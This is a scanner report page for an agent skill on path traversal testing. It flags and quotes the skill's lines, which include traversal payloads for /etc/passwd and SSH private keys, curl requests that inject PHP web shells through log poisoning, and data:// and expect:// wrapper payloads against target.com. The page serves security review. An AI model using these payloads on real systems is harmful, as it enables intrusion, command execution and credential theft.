Teste de Traversal de Caminho de Arquivo

72 / 100 · Review before installing

Check before installing.

By artubss/SKILLS-CLAUDE-CODE (GitHub) · other · 11 stars · scanned at commit ac67ed8

Esta habilidade deve ser usada quando o usuário solicita "testar travessia de diretório", "explorar vulnerabilidades de traversal de caminho", "ler arquivos arbitrários através de aplicações web", "encontrar vulnerabilidades de LFI" ou "acessar arquivos fora da raiz web". Fornece metodologias abrangentes de ataque e teste de traversal de caminho de arquivo.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this.

Found in 15 places.

skills/skills/security/file-path-traversal/SKILL.md, line 69?file=
skills/skills/security/file-path-traversal/SKILL.md, line 102../../../etc/passwd
skills/skills/security/file-path-traversal/SKILL.md, line 124/etc/passwd

Show 12 more

skills/skills/security/file-path-traversal/SKILL.md, line 141....//....//....//etc/passwd
skills/skills/security/file-path-traversal/SKILL.md, line 158../../../etc/passwd%00.jpg
skills/skills/security/file-path-traversal/SKILL.md, line 172/var/www/images/../../../etc/passwd
skills/skills/security/file-path-traversal/SKILL.md, line 182..%c0%af..%c0%af..%c0%afetc/passwd
skills/skills/security/file-path-traversal/SKILL.md, line 204/etc/passwd # Contas de usuário
skills/skills/security/file-path-traversal/SKILL.md, line 249C:\windows\win.ini
skills/skills/security/file-path-traversal/SKILL.md, line 289ffuf -u "http://target.com/image?filename=FUZZ" \
skills/skills/security/file-path-traversal/SKILL.md, line 303wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
skills/skills/security/file-path-traversal/SKILL.md, line 319curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
skills/skills/security/file-path-traversal/SKILL.md, line 333curl -A "<?php system('id'); ?>" \
skills/skills/security/file-path-traversal/SKILL.md, line 345curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
skills/skills/security/file-path-traversal/SKILL.md, line 367../../../etc/passwd

Sends data to these websites: target.com

This is disclosed by the author in the skill's SKILL.md or README.

Found in 11 places.

skills/skills/security/file-path-traversal/SKILL.md, line 116curl "http://target.com/image?filename=../../../etc/passwd"
skills/skills/security/file-path-traversal/SKILL.md, line 117curl "http://target.com/download?file=....//....//....//etc/passwd"
skills/skills/security/file-path-traversal/SKILL.md, line 319curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

Show 8 more

skills/skills/security/file-path-traversal/SKILL.md, line 322curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
skills/skills/security/file-path-traversal/SKILL.md, line 326curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
skills/skills/security/file-path-traversal/SKILL.md, line 333curl -A "<?php system('id'); ?>" \
skills/skills/security/file-path-traversal/SKILL.md, line 337curl -A "<?php system(\$_GET['c']); ?>" \
skills/skills/security/file-path-traversal/SKILL.md, line 345curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
skills/skills/security/file-path-traversal/SKILL.md, line 348curl -X POST -d "<?php system('id'); ?>" \
skills/skills/security/file-path-traversal/SKILL.md, line 352curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
skills/skills/security/file-path-traversal/SKILL.md, line 355curl "http://target.com/page?file=expect://id"

Reads your saved credentials, such as SSH keys or .env files

The author does not mention this.

Found in 2 places.

skills/skills/security/file-path-traversal/SKILL.md, line 212/root/.ssh/id_rsa # Chave privada root
skills/skills/security/file-path-traversal/SKILL.md, line 214/home/<user>/.ssh/id_rsa # Chaves privadas do usuário

Safer alternatives

Low-risk skills in the same category (other) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'teste-de-traversal-de-caminho-de-arquivo' ] || [ -L ~/.agents/skills/'teste-de-traversal-de-caminho-de-arquivo' ]; then echo 'A skill folder named teste-de-traversal-de-caminho-de-arquivo already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/artubss/SKILLS-CLAUDE-CODE' "$d" && git -C "$d" checkout --quiet 'ac67ed85889b15fa9e784e2a93a83f8916870698' -- 'skills/skills/security/file-path-traversal' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/skills/security/file-path-traversal' ~/.agents/skills/'teste-de-traversal-de-caminho-de-arquivo' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'teste-de-traversal-de-caminho-de-arquivo' ~/.claude/skills/'teste-de-traversal-de-caminho-de-arquivo' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for artubss/SKILLS-CLAUDE-CODE shows the score of its lowest-scoring skill.

SkillTrust badge for artubss/SKILLS-CLAUDE-CODE

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/artubss/SKILLS-CLAUDE-CODE.svg)](https://zalavijaysinh.github.io/skilltrust/repos/artubss/SKILLS-CLAUDE-CODE/)

Score history

Date	Version	Score
2026-11-08	`ac67ed8`	72